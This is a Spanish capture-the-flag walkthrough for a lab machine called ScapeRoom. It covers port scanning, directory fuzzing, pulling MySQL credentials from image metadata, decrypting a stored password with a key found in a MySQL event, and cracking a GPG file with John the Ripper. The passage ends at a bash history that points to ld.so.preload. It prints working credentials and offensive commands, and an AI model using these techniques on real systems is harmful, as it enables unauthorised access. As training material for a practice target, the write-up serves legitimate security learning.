ScapeRoom - TheHackerLabs

Esta fue una máquina algo complicada. Después de analizar los servicios de ambas interfaces y de ver que en ambas está lo mismo, elegimos una para aplicar las pruebas. Iniciamos analizando la página web activa en el puerto 80, pero al no encontrar algo que nos ayude más que una pista codificada en base64 y una página de PHP después de hacer Fuzzing, utilizamos Nikto para analizar la página web, siendo así que encontramos dos cabeceras que contienen un dominio y un subdominio. En el subdominio encontraremos una imagen que, al analizar sus metadatos, encontraremos una cadena de caracteres en base64 que, al decodificar, nos da las credenciales de acceso del servicio MySQL. Dentro del MySQL, descubrimos unas credenciales para ganar acceso a algún lado, pero la contraseña está encriptada. Analizamos los eventos del MySQL y descubrimos cómo se encriptó la contraseña, siendo que utilizamos una función para desencriptar esa contraseña y así logramos ganar acceso a un login de la página web, que nos muestra las credenciales de acceso para el SSH, pero será para el SSH de la segunda interfaz. Dentro del SSH, encontramos un archivo encriptado con GPG, que logramos crackear y vemos que contiene una pista. A su vez, vemos que se puede leer el historial de Bash del usuario actual, viendo así que se analizó el contenido de una biblioteca compartida (Shared Object) y después se autenticó para convertirse en Root. Seguimos esos pasos y vemos una cadena que resulta ser la contraseña del Root, logrando así escalar privilegios.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- echo
- base64
- ffuf
- gobuster
- nikto
- curl
- head
- wget
- exiftool
- mysql
- nxc
- ssh
- scp
- gpg2john
- JohnTheRipper
- gpg
- strings
- su
- chmod
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Fuzzing
- Descubriendo Dominio y Subdominio Ocultos en Cabeceras HTTP con Nikto
- Explotación de Vulnerabilidades
- Post Explotación
- Crackeo de Archivo GPG con JohnTheRipper
- Leyendo Historial de Bash y Abusando de Biblioteca Compartida (Shared Object) para Escalar Privilegios
- Links de Investigación
Recopilación de Información
Descubrimiento de Hosts
Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.
Lo haremos primero con nmap:
nmap -sn 192.168.110.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-06 12:52 -0600
...
Nmap scan report for thlpwn.thl (192.168.110.10)
Host is up (0.00090s latency).
MAC Address: XX (Oracle VirtualBox virtual NIC)
...
Nmap done: 256 IP addresses (9 hosts up) scanned in 12.61 seconds
Vamos a probar la herramienta arp-scan:
arp-scan -I eth0 -g 192.168.110.0/24
Interface: eth0, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
...
192.168.100.22 XX PCS Systemtechnik GmbH
9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.142 seconds (119.51 hosts/sec). 9 responded
Importante: Recordemos que hay una segunda interfaz configurada en la máquina víctima, entonces, vamos a hacer el mismo porceso.
Probemos primero con nmap en la segunda inferfaz:
nmap -sn 10.0.2.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-07 16:34 -0600
...
Nmap scan report for 10.0.1.10
Host is up (0.00063s latency).
MAC Address: XX (Oracle VirtualBox virtual NIC)
...
Nmap done: 256 IP addresses (4 hosts up) scanned in 10.93 seconds
Vamos a probar la herramienta arp-scan:
arp-scan -I eth1 -g 10.0.1.0/24
Interface: eth1, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
10.0.1.10 XX PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.007 seconds (127.55 hosts/sec). 3 responded
Encontramos nuestros objetivos y son: 192.168.110.10 y 10.0.1.10.
Nota: En ambos objetivos tienen los mismos puertos y servicios, por lo que de momento nos enfocaremos en solo 1, pero quizá esto cambie más adelante.
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.110.10
PING 192.168.110.10 (192.168.110.10) 56(84) bytes of data.
64 bytes from 192.168.110.10: icmp_seq=1 ttl=64 time=1.53 ms
64 bytes from 192.168.110.10: icmp_seq=2 ttl=64 time=0.866 ms
64 bytes from 192.168.110.10: icmp_seq=3 ttl=64 time=1.72 ms
64 bytes from 192.168.110.10: icmp_seq=4 ttl=64 time=0.562 ms
--- 192.168.110.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3034ms
rtt min/avg/max/mdev = 0.562/1.169/1.719/0.472 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.110.10 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-06 12:53 -0600
Initiating ARP Ping Scan at 12:53
Scanning 192.168.110.10 [1 port]
Completed ARP Ping Scan at 12:53, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:53
Scanning 192.168.110.10 [65535 ports]
SYN Stealth Scan Timing: About 50.00% done; ETC: 12:55 (0:00:37 remaining)
Discovered open port 80/tcp on 192.168.110.10
Discovered open port 22/tcp on 192.168.110.10
Discovered open port 3306/tcp on 192.168.110.10
Completed SYN Stealth Scan at 12:55, 75.76s elapsed (65535 total ports)
Nmap scan report for 192.168.110.10
Host is up, received arp-response (0.00087s latency).
Scanned at 2026-05-06 12:53:50 CST for 75s
Not shown: 53054 filtered tcp ports (no-response), 12478 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
3306/tcp open mysql syn-ack ttl 64
MAC Address: XX (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 75.96 seconds
Raw packets sent: 124832 (5.493MB) | Rcvd: 12484 (499.368KB)
| Parámetros | Descripción |
|---|---|
| -p- | Para indicarle un escaneo en ciertos puertos. |
| –open | Para indicar que aplique el escaneo en los puertos abiertos. |
| -sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
| –min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
| -vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
| -n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
| -Pn | Para indicar que se omita el descubrimiento de hosts. |
| -oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Tenemos 3 puertos abiertos, pero es curioso ver el puerto 3306, que es del servicio MySQL, que esté expuesto.
Escaneo de Servicios
nmap -sCV -p 22,80,3306 192.168.110.10 -oN targeted
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-06 12:55 -0600
Nmap scan report for thlpwn.thl (192.168.110.10)
Host is up (0.00100s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 71:72:6f:9a:ba:7f:73:1d:bc:30:36:ee:9d:62:e8:88 (RSA)
| 256 cd:0b:5b:55:41:13:bc:1c:d1:27:81:77:ff:6d:33:15 (ECDSA)
|_ 256 63:29:44:28:7d:5a:db:39:29:47:2f:a5:1d:17:fc:07 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Lecturas de Sensores
3306/tcp open mysql MySQL 8.0.40-0ubuntu0.20.04.1
| ssl-cert: Subject: commonName=MySQL_Server_8.0.39_Auto_Generated_Server_Certificate
| Not valid before: 2024-11-01T16:51:24
|_Not valid after: 2034-10-30T16:51:24
| mysql-info:
| Protocol: 10
| Version: 8.0.40-0ubuntu0.20.04.1
| Thread ID: 26
| Capabilities flags: 65535
| Some Capabilities: InteractiveClient, LongPassword, FoundRows, ConnectWithDatabase, SupportsTransactions, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, SupportsCompression, SupportsLoadDataLocal, ODBCClient, LongColumnFlag, Support41Auth, IgnoreSigpipes, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake, Speaks41ProtocolOld, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: B\x0C\x12lF+6 b%!fzrR%X\x0Bi,
|_ Auth Plugin Name: caching_sha2_password
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:7C:59:CE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds
| Parámetros | Descripción |
|---|---|
| -sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
| -sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
| -p | Para indicar puertos específicos. |
| -oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Gracias al escaneo de servicios, vemos que la página web activa en el puerto 80 no utiliza un dominio y vemos información sobre la versión del servicio MySQL, etc.
Entonces, empecemos por la página web.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Es una página que monitorea varios sensores.
Veamos qué nos dice Wappalizer:
No hay mucho que nos ayude.
Revisando el código fuente, encontraremos una cadena en base64:
Al decodificarla con el comando base64, vemos solo un mensaje:
echo -n "QSB2ZWNlcywgbG8gbcOhcyBvYnZpbyBlcyBsbyBxdWUgc2UgcGFzYSBwb3IgYWx0by4gVHUgw7puaWNhIHNhbGlkYSBlcyB2ZXIgbG8gcXVlIG90cm9zIG5vIHZlbi4gRWwgdGllbXBvIGNvcnJlIH
kgY2FkYSBwaXN0YSBlcyB1bmEgcGllemEgY2xhdmUgZGVsIHJvbXBlY2FiZXphcy4K" | base64 -d
A veces, lo más obvio es lo que se pasa por alto. Tu única salida es ver lo que otros no ven. El tiempo corre y cada pista es una pieza clave del rompecabezas.
No encontraremos algo más, así que podemos aplicar Fuzzing para buscar directorios y/o archivos ocultos.
Fuzzing
Primero probemos con la herramienta ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt:FUZZ -u http://192.168.110.10/FUZZ -t 300 -mc 200,301 -e .php,.txt,.html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.110.10/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt
:: Extensions : .php .txt .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200,301
________________________________________________
administracion [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 7ms]
css [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 2ms]
index.php [Status: 200, Size: 4268, Words: 1608, Lines: 133, Duration: 6ms]
index.php [Status: 200, Size: 4268, Words: 1608, Lines: 133, Duration: 26ms]
. [Status: 200, Size: 4268, Words: 1608, Lines: 133, Duration: 287ms]
:: Progress: [513480/513480] :: Job [1/1] :: 236 req/sec :: Duration: [0:07:58] :: Errors: 641 ::
| Parámetros | Descripción |
|---|---|
| -w | Para indicar el diccionario a usar en el fuzzing. |
| -u | Para indicar la URL a utilizar. |
| -t | Para indicar la cantidad de hilos a usar. |
| -mc | Para aplicar un filtro que solo muestre resultados con un código de estado específico. |
| -e | Para específicar la extensión de un archivo a buscar. |
Ahora probemos con gobuster:
gobuster dir -u http://192.168.110.10 -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt -t 300 -x php,txt,html -s 200,301 -b "" --ne
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.110.10
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt
[+] Status codes: 200,301
[+] User Agent: gobuster/3.8.2
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
administracion (Status: 301) [Size: 325] [--> http://192.168.110.10/administracion/]
css (Status: 301) [Size: 314] [--> http://192.168.110.10/css/]
index.php (Status: 200) [Size: 4273]
index.php (Status: 200) [Size: 4273]
. (Status: 200) [Size: 4273]
Progress: 513480 / 513480 (100.00%)
===============================================================
Finished
===============================================================
| Parámetros | Descripción |
|---|---|
| -u | Para indicar la URL a utilizar. |
| -w | Para indicar el diccionario a usar en el fuzzing. |
| -t | Para indicar la cantidad de hilos a usar. |
| -s | Para aplicar un filtro que muestre solo los códigos de estado específicos. |
| -b | Para que funcione el filtro anterior. |
| –ne | Para que no muestre errores. |
| -x | Para específicar la extensión de un archivo a buscar. |
Encontramos un directorio llamado administracion, pero al entrar en este, no tendremos permisos suficientes:
Sin embargo, puede que podamos ver el contenido de este directorio, por lo que también le aplicaremos Fuzzing:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt:FUZZ -u http://192.168.110.10/administracion/FUZZ -t 300 -mc 200,301 -e .php,.txt,.html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.110.10/administracion/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt
:: Extensions : .php .txt .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200,301
________________________________________________
login.php [Status: 200, Size: 2714, Words: 1004, Lines: 107, Duration: 49ms]
:: Progress: [513480/513480] :: Job [1/1] :: 232 req/sec :: Duration: [0:08:35] :: Errors: 1075 ::
| Parámetros | Descripción |
|---|---|
| -w | Para indicar el diccionario a usar en el fuzzing. |
| -u | Para indicar la URL a utilizar. |
| -t | Para indicar la cantidad de hilos a usar. |
| -mc | Para aplicar un filtro que solo muestre resultados con un código de estado específico. |
| -e | Para específicar la extensión de un archivo a buscar. |
Muy bien, encontramos una página llamada login.php:
Por ahora no tenemos credenciales, así que tenemos que buscar una forma de encontrarlas.
Descubriendo Dominio y Subdominio Ocultos en Cabeceras HTTP con Nikto
Al no encontrar alguna pista más, utilizamos la herramienta nikto para comprobar si había algo que se nos escapaba.
Observa el resultado:
nikto -host 192.168.110.10
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.110.10
+ Target Hostname: 192.168.110.10
+ Target Port: 80
+ Start Time: 2026-05-06 13:17:04 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'x-hint' found, with contents: Subdominios.... info.
+ /: Uncommon header 'x-contact' found, with contents: info@sensores.thl.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2026-05-06 13:17:51 (GMT-6) (47 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Podemos ver que hay 2 cabeceras que nos indican un dominio y un subdominio.
Podemos consultarlas con curl, indicando que nos muestre las cabeceras:
curl -i http://192.168.110.10 | head -n 8
HTTP/1.1 200 OK
Date: Thu, 07 May 2026 00:22:05 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
X-Hint: Subdominios.... info
X-Contact: info@sensores.thl
Content-Length: 4269
Content-Type: text/html; charset=UTF-8
Guardemos ese dominio y subdominio en el /etc/hosts:
echo "192.168.110.10 sensores.thl info.sensores.thl" >> /etc/hosts
Y entremos en estos para ver qué encontramos.
Primero el dominio sensores.thl:
Si te das cuenta, no cambia nada con la página principal que habíamos visto antes.
Ahora el subdominio info.sensores.thl:
Ahora sí que cambia, pues podemos ver más información agregada, pero no hay algo que nos ayude.
Analizando Metadatos de una Imagen y Ganando Acceso al Servicio MySQL
Algo que podemos hacer es analizar los metadatos de la imagen que encontramos:
wget http://info.sensores.thl/images/sensor_overview.png
Para ver los metadatos, usaremos la herramienta exiftool:
exiftool sensor_overview.png
ExifTool Version Number : 13.44
File Name : sensor_overview.png
Directory : .
File Size : 1931 kB
File Modification Date/Time : 2024:11:03 11:02:04-06:00
File Access Date/Time : 2026:05:06 13:20:25-06:00
File Inode Change Date/Time : 2026:05:06 13:20:25-06:00
File Permissions : -rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 1147
Image Height : 1147
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Comment : YWN1dGU6SVM0eUJ2Znd4cFhVWnNCeGhDWHI1bXV2M2RYZFFnIQo=
Image Size : 1147x1147
Megapixels : 1.3
Observa que tiene un comentario agregado como una cadena en base64.
Vamos a decodificarla:
echo -n "YWN1dGU6SVM0eUJ2Znd4cFhVWnNCeGhDWHI1bXV2M2RYZFFnIQo=" | base64 -d
acute:IS4yBvfwxpXUZsBxhCXr5muv3dXdQg!
Parece que encontramos credenciales de acceso.
Se intentó utilizar en el login que encontramos en la página web, pero no funcionará. Sin embargo, al probarlo para entrar al servicio MySQL nos dará acceso:
mysql -h 192.168.110.10 -u 'acute' -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 24
Server version: 8.0.40-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Explotación de Vulnerabilidades
Enumeración del Servicio MySQL y Desencriptando Contraseña Almacenada en Base de Datos para Ganar Acceso a Login Web y SSH
Veamos qué bases de datos existen:
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| SensorData |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.003 sec)
Tenemos 1 base de datos llamada SensorData y las 2 BDs por defecto.
Carguemos la BD SensorData:
MySQL [(none)]> use SensorData;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
Veamos las tablas existentes:
MySQL [SensorData]> show tables;
+------------------------+
| Tables_in_SensorData |
+------------------------+
| login |
| sensor_readings |
| sensor_readings_backup |
+------------------------+
3 rows in set (0.002 sec)
Vemos 3 tablas, pero la que nos interesa es la tabla login.
Veamos su contenido:
MySQL [SensorData]> select * from login;
+----+---------------+------------------------------------------------------------------+
| id | usuario | password |
+----+---------------+------------------------------------------------------------------+
| 1 | administrador | BD9D09C524BC8A234E0B75D4FA60AF8A71D124915A3D44BC17B761186D0EB00E |
+----+---------------+------------------------------------------------------------------+
1 row in set (0.002 sec)
Excelente, tenemos la contraseña del usuario administrador, pero parece que es una contraseña encriptada.
Utilizando la herramienta hash-identifier, veremos qué tipo de Hash es:
hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: BD9D09C524BC8A234E0B75D4FA60AF8A71D124915A3D44BC17B761186D0EB00E
Possible Hashs:
[+] SHA-256
[+] Haval-256
Es muy probable que sea uno de tipo SHA-256.
Podríamos intentar crackear este Hash, pero te advierto que se volverá imposible.
Pidiendo ayuda de ChatGPT podemos enumerar más información sobre la BD actual; uno de los datos que me indica es leer los eventos de la BD actual:
MySQL [SensorData]> show events from SensorData;
+------------+--------------------+----------------+-----------+-----------+------------+----------------+----------------+---------------------+------+---------+------------+----------------------+----------------------+--------------------+
| Db | Name | Definer | Time zone | Type | Execute at | Interval value | Interval field | Starts | Ends | Status | Originator | character_set_client | collation_connection | Database Collation |
+------------+--------------------+----------------+-----------+-----------+------------+----------------+----------------+---------------------+------+---------+------------+----------------------+----------------------+--------------------+
| SensorData | insert_login_data | acute@% | SYSTEM | RECURRING | NULL | 1 | MINUTE | 2024-11-02 22:46:13 | NULL | ENABLED | 1 | utf8mb3 | utf8mb3_general_ci | utf8mb4_0900_ai_ci |
| SensorData | sensor_data_update | root@localhost | SYSTEM | RECURRING | NULL | 1 | MINUTE | 2024-11-01 18:02:42 | NULL | ENABLED | 1 | utf8mb4 | utf8mb4_0900_ai_ci | utf8mb4_0900_ai_ci |
+------------+--------------------+----------------+-----------+-----------+------------+----------------+----------------+---------------------+------+---------+------------+----------------------+----------------------+--------------------+
Vemos qué hay 2 eventos programados.
Veamos la definición de un evento en MySQL:
| MySQL Events |
|---|
| En MySQL, los EVENTS son tareas programadas que el servidor ejecuta automáticamente en determinados momentos o intervalos de tiempo, muy parecido a un cron job en Linux. Puede ejecuta instrucciones SQL automáticamente según una programación definida. |
Tenemos dos formas de poder revisar los eventos:
- Haciendo una consulta hacia la BD information_schema para que muestre todos los eventos:
MySQL [SensorData]> SELECT * FROM information_schema.EVENTS; ... ... IF (SELECT COUNT(*) FROM login) = 0 THEN SET @password_plain = SUBSTRING(MD5(RAND()), 1, 16); INSERT INTO login (usuario, password) VALUES ('administrador', HEX(AES_ENCRYPT(@password_plain, 'encryption_key'))); END IF; END ... - Si queremos ver los eventos de la BD actual, utilizamos la forma de antes o, si queremos ver el contenido de un evento específico, puede ser de la siguiente forma:
MySQL [SensorData]> SELECT EVENT_DEFINITION FROM information_schema.EVENTS WHERE EVENT_NAME='insert_login_data'; +---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | EVENT_DEFINITION | +---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | BEGIN IF (SELECT COUNT(*) FROM login) = 0 THEN SET @password_plain = SUBSTRING(MD5(RAND()), 1, 16); INSERT INTO login (usuario, password) VALUES ('administrador', HEX(AES_ENCRYPT(@password_plain, 'encryption_key'))); END IF; END | +---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.002 sec)Como vimos antes, hay un evento donde se está tomando la contraseña del usuario administrador y se encripta usando el algoritmo AES.
Existe una función que permite desencriptar:
Y la podemos usar de esta forma:
# Forma 1:
MySQL [SensorData]> SELECT AES_DECRYPT(UNHEX(password), 'encryption_key') FROM login;
+------------------------------------------------+
| AES_DECRYPT(UNHEX(password), 'encryption_key') |
+------------------------------------------------+
| e381025ee5804e9a |
+------------------------------------------------+
1 row in set (0.002 sec)
# Forma 2:
MySQL [SensorData]> SELECT AES_DECRYPT(UNHEX('BD9D09C524BC8A234E0B75D4FA60AF8A71D124915A3D44BC17B761186D0EB00E'),'encryption_key' );
+----------------------------------------------------------------------------------------------------------+
| AES_DECRYPT(UNHEX('BD9D09C524BC8A234E0B75D4FA60AF8A71D124915A3D44BC17B761186D0EB00E'),'encryption_key' ) |
+----------------------------------------------------------------------------------------------------------+
| e381025ee5804e9a |
+----------------------------------------------------------------------------------------------------------+
1 row in set (0.002 sec)
Ahora sí, parece que tenemos una contraseña.
Vamos a probarla en el login:
Muy bien, tenemos un usuario y contraseña.
Probamos si estas credenciales funcionan, pero parece que no nos deja entrar. Sin embargo, recuerda que tenemos 2 interfaces y en ambas podemos ver los mismos servicios, así que probemos estas credenciales en la segunda interfaz:
nxc ssh 10.0.1.10 -u 'pepito' -p '207423f0bdc224d2'
SSH 10.0.1.10 22 10.0.1.10 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13
SSH 10.0.1.10 22 10.0.1.10 [+] pepito:207423f0bdc224d2 Linux - Shell access!
Si funcionan en esta inferfaz.
Conectemonos:
ssh pepito@10.0.1.10
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
pepito@10.0.1.10's password:
==================================================
Has llegado al umbral de la última prueba... aquí no hay vuelta atrás.
El tiempo se agota y esta vez no habrá segundas oportunidades.
Solo los que realmente comprenden el valor de cada segundo podrán salir victoriosos.
Dispones de 60 minutos para resolver el enigma que se cierne sobre ti.
Cada decisión cuenta, cada error te acerca al abismo.
No recibirás ayuda, ni pistas adicionales... solo el tic-tac implacable del reloj.
Cuando el tiempo termine, este lugar quedará sellado para siempre.
¿Tienes lo que se necesita para superar este reto?
==================================================
pepito@ctf:~$ whoami
pepito
Somos el usuario pepito y nos estan dando una pista.
Busquemos la flag del usuario:
pepito@ctf:~$ ls
leeme.txt.gpg user.txt
pepito@ctf:~$ cat user.txt
...
Post Explotación
Crackeo de Archivo GPG con JohnTheRipper
Si viste los archivos que tiene el usuario pepito, vimos uno con extensión GPG:
| Archivo GPG |
|---|
| GNU Privacy Guard (GPG o GnuPG) es una herramienta de criptografía utilizada para cifrar, descifrar y firmar digitalmente información. Implementa el estándar OpenPGP, permitiendo proteger archivos, mensajes y comunicaciones mediante criptografía de clave pública y privada. |
Entonces, necesitamos desencriptar este archivo para poder leerlo.
Vamos a descargar este archivo en nuestra máquina y lo puedes hacer usando la herramienta scp:
scp pepito@10.0.1.10:/home/pepito/leeme.txt.gpg leeme.txt.gpg
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
pepito@10.0.1.10's password:
leeme.txt.gpg
Para poder crackearlo, usaremos la herramienta gpg2john para obtener su Hash en un formato que pueda usar JohnTheRipper:
gpg2john leeme.txt.gpg > hashGPG
Crackeamos el archivo con John y usando el wordlist rockyou.txt:
john -w:/usr/share/wordlists/rockyou.txt hashGPG
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
superman1 (?)
1g 0:00:00:38 DONE (2026-05-07 12:36) 0.02617g/s 29.37p/s 29.37c/s 29.37C/s superman1..rocku
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Para desencriptarlo usaremos la herramienta gpg, solamente tendrás que darle la contraseña:
gpg leeme.txt.gpg
gpg: ADVERTENCIA: no se ha proporcionado ninguna orden. Intentando adivinar lo que quieres...
gpg: AES256.CFB encrypted data
gpg: cifrado con 1 frase contraseña
Nos dio un archivo de texto, así que leamoslo:
cat leeme.txt
No todas las funciones tienen el control que parecen tener. Algunas veces, quien controla lo que se **carga primero** tiene la ventaja. Recuerda: la pre-carga puede ser tu mejor aliada... o tu perdición.
Mencionan la precarga, pero no sé a qué se refieran.
Leyendo Historial de Bash y Analizando Biblioteca Compartida (Shared Object) para Escalar Privilegios
Revisando todos los archivos del usuario pepito, veremos que podemos leer su historial de Bash:
pepito@ctf:~$ ls -la
total 52
drwxr-xr-x 6 pepito pepito 4096 nov 23 2024 .
drwxr-xr-x 3 root root 4096 nov 23 2024 ..
-rw------- 1 pepito pepito 2178 nov 23 2024 .bash_history
-rw-r--r-- 1 pepito pepito 220 nov 16 2024 .bash_logout
-rwxr-xr-x 1 root root 758 nov 23 2024 .bash_profile
-rw-r--r-- 1 pepito pepito 3801 nov 23 2024 .bashrc
drwx------ 2 pepito pepito 4096 nov 16 2024 .cache
drwxr-xr-x 3 root root 4096 nov 18 2024 .config
drwx------ 3 pepito pepito 4096 nov 18 2024 .gnupg
-rw-r--r-- 1 root root 0 nov 18 2024 .hushlogin
-rw-r--r-- 1 root root 225 nov 23 2024 leeme.txt.gpg
-rw-r--r-- 1 pepito pepito 807 nov 16 2024 .profile
drwx------ 2 pepito pepito 4096 nov 16 2024 .ssh
-rw-r--r-- 1 pepito pepito 36 nov 23 2024 user.txt
Al leerlo, veremos varias cosillas interesantes; principalmente veremos que hace referencia al siguiente archivo:
pepito@ctf:~$ cat .bash_history
ls -la /etc/ld.so.preload
cat /etc/ld.so.preload
